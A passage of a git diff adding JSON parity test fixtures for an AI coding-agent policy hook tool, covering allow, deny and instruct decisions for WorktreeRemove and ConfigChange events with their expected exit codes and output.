"projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..283f5f1a --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..62ce4945 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..88ac3a58 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8d26ae77 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e69a1373 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..861352c3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9e9e8b6e --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6b3a0afb --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2bca9800 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5b3eb4ee --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f12eae14 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5ba2cbb8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2389114b --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2ce4ccd4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ad0e6348 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e6d81848 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..999cbdda --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..59b7743d --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3a9639c5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + 